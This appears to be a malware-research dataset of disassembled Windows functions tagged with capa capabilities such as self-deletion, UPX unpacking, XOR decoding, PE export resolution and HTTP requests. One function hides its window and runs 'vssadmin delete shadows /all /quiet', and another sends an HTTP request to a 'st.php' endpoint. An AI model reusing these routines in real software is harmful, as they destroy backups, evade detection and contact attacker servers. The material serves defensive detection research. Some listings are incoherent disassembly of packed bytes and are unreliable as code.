joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4026d0
Capabilities:
Accept command line arguments
Create process on windows
Get disk information
Hide graphical window
Self delete

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x830
mov eax, dword [0x406004]
xor eax, esp
mov dword [esp + 0x82c], eax
push esi
push edi
push 0x208
lea eax, [esp + 0x424]
mov dword [esp + 0x10], 0
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x628]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x218]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x10]
push 0x208
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, [esp + 0x10]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
cmp word [esp + 0x10], 0
lea esi, [esp + 0x10]
je 0x4027da
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
movzx eax, word [esi]
cmp eax, 0x41
je 0x4027b8
cmp eax, 0x42
je 0x4027b8
cmp eax, 0x61
je 0x4027b8
cmp eax, 0x62
je 0x4027b8
push esi
call edi
cmp eax, 3
jne 0x4027b8
mov edx, eax
mov ecx, esi
call fcn.00401670
mov eax, esi
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4027c0
sub eax, edx
sar eax, 1
lea esi, [esi + eax*2]
add esi, 2
cmp word [esi], cx
jne 0x402790
push 0
push 0
push str.delete_shadows__all__quiet
push str.vssadmin.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push eax
lea eax, [esp + 0x21c]
push str._ShellExecute_Return_:__d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [esp + 0x834]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.00402831
mov esp, ebp
pop ebp
ret
Function at 0xfdf772
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x68f00000], 0x5a4d
jne 0xfdf797
mov ecx, dword [0x68f0003c]
cmp dword [ecx + 0x68f00000], 0x4550
lea edx, [ecx + 0x68f00000]
je 0xfdf7a2
ret
cmp word [ecx + 0x68f00018], 0x10b
jne 0xfdf797
push esi
movzx eax, word [ecx + 0x68f00014]
push ebx
movzx esi, word [ecx + 0x68f00006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x68f00000
test esi, esi
je 0xfdf7ea
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0xfdf7e0
add edx, dword [eax + 8]
cmp ebx, edx
jb 0xfdf7ec
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0xfdf7d2
xor eax, eax
pop ebx
pop esi
ret

Function at 0xfebb12
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push edi
xor eax, eax
mov ecx, 0x10
sub esp, 0x88
lea edi, [esp + 0x40]
mov dword [esp + 0x15], 0x6f727245
mov dword [esp + 0x19], 0x6c632072
mov dword [esp + 0x1d], 0x696e6165
mov dword [esp + 0x21], 0x7520676e
mov dword [esp + 0x25], 0x70732070
mov dword [esp + 0x29], 0x6b5f6e69
mov dword [esp + 0x2d], 0x20737965
mov dword [esp + 0x31], 0x20726f66
mov dword [esp + 0x35], 0x65726874
mov dword [esp + 0x39], 0x206461
mov dword [esp + 0x3d], 0
mov dword [esp + 0x7c], 0
rep stosd dword es:[edi], eax
call dword [0x69aba2b4]
lea edx, [esp + 0x3c]
mov dword [esp + 8], 0xa
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [0x69aba3e8]
cmp byte [esp + 0x3c], 0
je 0xfebbed
mov eax, 0x27
lea edx, [esp + 0x15]
jmp 0xfebbbf
cmp eax, 0x6a
je 0xfebbdc
mov ecx, eax
add eax, 1
cmp byte [edx + eax], 0
jne 0xfebbba
cmp eax, 0x6a
je 0xfebbdc
add ecx, 2
mov byte [esp + eax + 0x15], 0xa
mov byte [esp + ecx + 0x15], 0
mov dword [esp], edx
call dword [0x69aba314]
sub esp, 4
call fcn.00ff3ae2
mov ecx, 0x28
mov eax, 0x27
lea edx, [esp + 0x15]
jmp 0xfebbd2
Function at 0x108c61c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0x2c
push 0x40f948
call fcn.0108cbea
xor ecx, ecx
mov dword [ebp - 4], ecx
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x3c]
add eax, esi
mov dword [ebp - 0x1c], eax
mov ebx, dword [eax + 0x78]
mov dword [ebp - 0x30], ebx
mov edx, dword [ebx + esi + 0x1c]
add edx, esi
mov dword [ebp - 0x28], edx
mov edi, dword [ebx + esi + 0x24]
add edi, esi
mov dword [ebp - 0x38], edi
mov edx, dword [ebx + esi + 0x20]
add edx, esi
mov dword [ebp - 0x2c], edx
mov edx, dword [ebx + esi + 0x18]
mov dword [ebp - 0x20], edx
mov edx, dword [ebx + esi + 0x14]
mov dword [ebp - 0x24], edx
mov edx, ecx
mov dword [ebp - 0x34], edx
cmp edx, dword [ebp - 0x20]
jae 0x108c6fb
movsx edi, word [edi + edx*2]
cmp edi, dword [ebp - 0x24]
jae 0x108c6e4
mov eax, dword [ebp - 0x28]
mov edi, dword [eax + edi*4]
cmp edi, ebx
mov eax, dword [ebp - 0x1c]
jb 0x108c694
mov eax, dword [eax + 0x7c]
add eax, ebx
cmp edi, eax
jb 0x108c6de
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + edx*4]
add eax, esi
mov cl, byte [eax]
mov byte [ebp + 0xb], cl
cmp cl, byte [ebx]
push 0
pop ecx
jne 0x108c6cd
cmp byte [ebp + 0xb], cl
je 0x108c6c9
mov cl, byte [eax + 1]
mov byte [ebp + 0xb], cl
cmp cl, byte [ebx + 1]
push 0
pop ecx
jne 0x108c6cd
add eax, 2
add ebx, 2
cmp byte [ebp + 0xb], cl
jne 0x108c69f
mov eax, ecx
jmp 0x108c6d2
sbb eax, eax
or eax, 1
test eax, eax
jne 0x108c6db
lea ecx, [edi + esi]
jmp 0x108c6f8
mov ebx, dword [ebp - 0x30]
inc edx
mov edi, dword [ebp - 0x38]
jmp 0x108c669
mov dword [ebp - 4], 0xfffffffe
xor eax, eax
jmp 0x108c704
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
call fcn.0108cc2f
ret 8

Function at 0x10de6a2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
mov esi, ecx
mov dword [ebp - 8], esi
push dword [esi + 0x14]
call dword [0x1002e08c]
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [esi], eax
test ebx, ebx
jg 0x10de6e3
lea eax, [ebp - 0x30]
push eax
call dword [0x1002e088]
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
mov eax, 1
cmove ebx, eax
test ebx, ebx
jle 0x10de76a
push edi
lea eax, [ebp - 0xc]
push eax
push 0
push esi
push 0x100016e0
push 0
push 0
call fcn.010ed343
mov edi, eax
add esp, 0x18
mov dword [ebp - 4], edi
test edi, edi
je 0x10de762
cmp edi, 0xffffffff
je 0x10de762
mov eax, dword [esi + 8]
lea ecx, [ebp - 4]
cmp ecx, eax
jae 0x10de744
mov ecx, dword [esi + 4]
lea edx, [ebp - 4]
cmp ecx, edx
ja 0x10de744
mov edi, edx
sub edi, ecx
sar edi, 2
cmp eax, dword [esi + 0xc]
jne 0x10de733
push ecx
lea ecx, [esi + 4]
call fcn.010e53e2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x10de75b
mov eax, dword [esi + 4]
mov eax, dword [eax + edi*4]
mov dword [ecx], eax
jmp 0x10de75b
cmp eax, dword [esi + 0xc]
jne 0x10de752
push ecx
lea ecx, [esi + 4]
call fcn.010e53e2
mov eax, dword [esi + 8]
test eax, eax
je 0x10de75b
mov dword [eax], edi
add dword [esi + 8], 4
mov esi, dword [ebp - 8]
dec ebx
jne 0x10de6e4
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10e1ef2
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 0x1003b180
mov esi, ecx
call dword [0x1002e0a8]
cmp dword [0x1003a178], 0xffffffff
je 0x10e1f71
cmp dword [0x1003a17c], 0xffffffff
jne 0x10e1f71
test esi, esi
je 0x10e1f71
push dword [0x1003a16c]
mov dword [0x1003b064], esi
mov esi, dword [0x1002e08c]
call esi
push dword [0x1003a168]
call esi
push dword [0x1003a164]
call esi
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0x100037a0
push 0
push 0
call fcn.010ed343
add esp, 0x18
test eax, eax
jne 0x10e1f86
push dword [0x1003a168]
call dword [0x1002e084]
mov dword [0x1003a17c], 0xffffffff
push 0x1003b180
or esi, 0xffffffff
call dword [0x1002e0a0]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push 0xffffffffffffffff
push dword [0x1003a164]
mov dword [0x1003a17c], eax
call dword [0x1002e080]
push 0x1003b180
xor esi, esi
call dword [0x1002e0a0]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1995744
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x68
mov eax, dword [0x100ec008]
xor eax, esp
mov dword [esp + 0x64], eax
push esi
mov esi, dword [ebp + 8]
push edi
test edx, edx
jne 0x1995767
xorps xmm0, xmm0
movups xmmword [esi], xmm0
push edx
mov edx, ecx
mov dword [esp + 0xc], 0
lea ecx, [esp + 0xc]
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0x67452301
mov dword [esp + 0x18], 0xefcdab89
mov dword [esp + 0x1c], 0x98badcfe
mov dword [esp + 0x20], 0x10325476
call fcn.01994e54
mov ecx, dword [esp + 8]
mov eax, 0x78
shr ecx, 3
mov edi, 0x38
and ecx, 0x3f
sub eax, ecx
sub edi, ecx
cmp ecx, 0x38
lea ecx, [esp + 9]
cmovae edi, eax
xor edx, edx
movzx eax, byte [ecx - 1]
lea ecx, [ecx + 4]
mov byte [esp + edx + 0x64], al
movzx eax, byte [ecx - 4]
mov byte [esp + edx + 0x65], al
movzx eax, byte [ecx - 3]
mov byte [esp + edx + 0x66], al
movzx eax, byte [ecx - 2]
mov byte [esp + edx + 0x67], al
add edx, 4
cmp edx, 8
jb 0x19957c7
push edi
mov edx, 0x100ec8b0
lea ecx, [esp + 0xc]
call fcn.01994e54
push 8
lea edx, [esp + 0x68]
lea ecx, [esp + 0xc]
call fcn.01994e54
lea edx, [esi + 1]
mov esi, 4
lea eax, [esp + 0x11]
nop dword [eax + eax]
movzx ecx, byte [eax - 1]
lea eax, [eax + 4]
mov byte [edx - 1], cl
lea edx, [edx + 4]
movzx ecx, byte [eax - 4]
mov byte [edx - 4], cl
movzx ecx, byte [eax - 3]
mov byte [edx - 3], cl
movzx ecx, byte [eax - 2]
mov byte [edx - 2], cl
sub esi, 1
jne 0x1995824
mov ecx, dword [esp + 0x6c]
pop edi
pop esi
xor ecx, esp
call fcn.019e552c
mov esp, ebp
pop ebp
ret 4
Function at 0x19dd754
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x10c4
call fcn.019ff7b4
mov eax, dword [0x100ec008]
xor eax, esp
mov dword [esp + 0x10c0], eax
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0x34]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x20], eax
mov eax, dword [ebp + 0x18]
mov dword [esp + 0x1c], eax
mov eax, dword [ebp + 0x1c]
Function at 0x1afbae0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9d4000]
push edi
or ebp, 0xffffffff
jmp 0x1afbb02
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1afbb09
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1afbaf8
mov eax, 1
add ebx, ebx
jne 0x1afbb1b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x1afbb2c
jne 0x1afbb4b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1afbb4b
dec eax
add ebx, ebx
jne 0x1afbb38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1afbb10
add ebx, ebx
jne 0x1afbb47
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x1afbb9d
xor ecx, ecx
sub eax, 3
jb 0x1afbb63
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1afbbd2
sar eax, 1
mov ebp, eax
jmp 0x1afbb6e
add ebx, ebx
jne 0x1afbb6e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1afbb3c
inc ecx
add ebx, ebx
jne 0x1afbb7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1afbb3c
add ebx, ebx
jne 0x1afbb89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x1afbb7e
jne 0x1afbb9a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x1afbb7e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x1afbbbc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x1afbbae
jmp 0x1afbafe
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x1afbbbc
add edi, ecx
jmp 0x1afbafe
pop esi
mov edi, esi
mov ecx, 0x76ef
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x1afbbda
cmp byte [edi], 0x25
jne 0x1afbbda
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x1afbbdf
lea edi, [esi + 0x16f8000]
mov eax, dword [edi]
or eax, eax
je 0x1afbc57
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x16ffcbc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x16ffde0]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1afbc0c
mov ecx, edi
jns 0x1afbc3b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x16ffde8]
or eax, eax
je 0x1afbc51
mov dword [ebx], eax
add ebx, 4
jmp 0x1afbc29
call dword [esi + 0x16ffde4]
mov ebp, dword [esi + 0x16ffdec]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x237]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x1afbc8b
sub esp, 0xffffff80
jmp 0x4fd3fe
Function at 0x401cf0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x407044
call sym._EnterCriticalSection_4
mov ebx, dword [0x40703c]
sub esp, 4
test ebx, ebx
je 0x401d3b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x401d34
test esi, esi
je 0x401d34
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401d10
mov dword [esp], 0x407044
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x401f20
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], str.Mingw_runtime_failure:_n
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x401f70
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x402048
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x401fae
cmp eax, 4
jne 0x401fd0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x401fbe
cmp edx, 4
je 0x401fbe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.00401f20
Function at 0x407320
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5000]
push edi
or ebp, 0xffffffff
jmp 0x407342
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x407349
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x407338
mov eax, 1
add ebx, ebx
jne 0x40735b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x407350
jne 0x40736c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x407350
xor ecx, ecx
sub eax, 3
jb 0x407380
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4073f2
mov ebp, eax
add ebx, ebx
jne 0x40738b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x407398
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4073bc
inc ecx
add ebx, ebx
jne 0x4073a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40739d
jne 0x4073b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40739d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4073dc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4073cd
jmp 0x40733e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4073dc
add edi, ecx
jmp 0x40733e
pop esi
mov edi, esi
mov ecx, 1
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4073fa
cmp byte [edi], 1
jne 0x4073fa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4073ff
lea edi, [esi + 0x5000]
mov eax, dword [edi]
or eax, eax
je 0x407477
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x7000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x703c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40742c
mov ecx, edi
jns 0x40745b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x7040]
or eax, eax
je 0x407471
mov dword [ebx], eax
add ebx, 4
jmp 0x407449
call dword [esi + 0x7050]
mov ebp, dword [esi + 0x7044]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1d7]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4074ab
sub esp, 0xffffff80
jmp 0x401128
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x401787
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push edx
or al, 0xeb
or esi, ebx
invalid
add byte [edx - 0x3cd5c98e], bh
ja 0x401764
or byte ss:[ecx - 0x6f00cece], dh

Function at 0x401ea0
Capabilities:
Terminate process

Disassembly:
inc eax
mov esp, dword [esi + 0x5d]
ret
jg 0x401e6b
jmp dword [eax]
and byte [eax - 0x5e05bf3f], al
lodsb al, byte [esi]
add al, byte [ecx]
add esp, 0x14
test eax, eax
je 0x401e8c
push eax
push 0x1b40d298
call dword [0x1dc164]
and al, 0xc4
or byte [esi - 1], dl
adc eax, sym.imp.MSVCRT.dll_exit
push esi
call dword [sym.imp.MSVCRT.dll_exit]
pop esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
jg 0x401e34
xchg byte [eax], cl
push edi
mov eax, dword [esi + 0x14]
mov ebx, ecx
or al, ch
dec ecx
dec ebx
add byte [ebp - 0x5d], bl
sahf
loope 0x401e6a
add byte [ecx - 0x23f45beb], cl
add byte [ebx + 0x14008bd8], cl
test dword [edi], esi
mov ebx, dword [ebp + esi*2 - 0x457374c0]
push 0xfffffffffffffffa
push 0
push ecx
call 0x24408cab
mov dword [esi - 0x5cfff7c8], ebx
push eax
mov esi, 0x728c3c
mov dword [esi + 0x18], 0x6d00
int3
Function at 0x4011f2
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
push 0x400
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x40128b
mov edi, dword [ebp - 4]
xor ecx, ecx
push ecx
mov eax, ecx
mov ecx, 8
mov edx, eax
and edx, 1
jne 0x401228
shr eax, 1
jmp 0x40122f
shr eax, 1
xor eax, 0xedb88320
loop 0x40121d
stosd dword es:[edi], eax
pop ecx
inc ecx
cmp ecx, 0x100
jb 0x401215
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov ebx, 0xffffffff
push ecx
xor eax, eax
lodsb al, byte [esi]
mov edx, ebx
shr ebx, 8
push ebx
xchg ebx, edx
and ebx, 0xff
xor ebx, eax
xchg ebx, eax
mov ecx, 4
mul ecx
xchg ebx, eax
mov eax, dword [ebp - 4]
add eax, ebx
mov eax, dword [eax]
pop ebx
xor eax, ebx
mov ebx, eax
pop ecx
inc ecx
cmp ecx, edi
jb 0x401249
not eax
mov dword [ebp - 8], eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 8]
jmp 0x40128d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401d84
Capabilities:
Create http request
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push 0x104
push 0
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push str._st.php_new1
push 0x104
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x10
push 0
push 0
push 0
push 0
push 0x4066f8
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 0
je 0x401dff
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push dword [ebp - 0x114]
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 4], eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x114]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
leave
ret

Function at 0x401e16
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push 0x208
push 0
lea eax, [ebp - 0x208]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
push 0
lea eax, [ebp - 0x418]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x208
lea eax, [ebp - 0x208]
push eax
push str._appdata_
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x208]
push eax
push str._lswinmgr.txt
push 0x208
lea eax, [ebp - 0x418]
push eax
call sub.MSVCRT.dll__snwprintf
add esp, 0x10
push 0
push 2
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0xffffffff
je 0x401eba
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401ebe
xor al, al
jmp 0x401ecc
push dword [ebp - 0x20c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
leave
ret

Function at 0x401ece
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push edi
push 0x44
push 0
lea eax, [ebp - 0x58]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 0x58], 0x44
mov dword [ebp - 0x2c], 1
push 5
pop eax
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x401f2a
mov al, 1
jmp 0x401f4a
push 0
push 0
push 0
push dword [ebp + 8]
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
test eax, eax
je 0x401f48
mov al, 1
jmp 0x401f4a
xor al, al
pop edi
leave
ret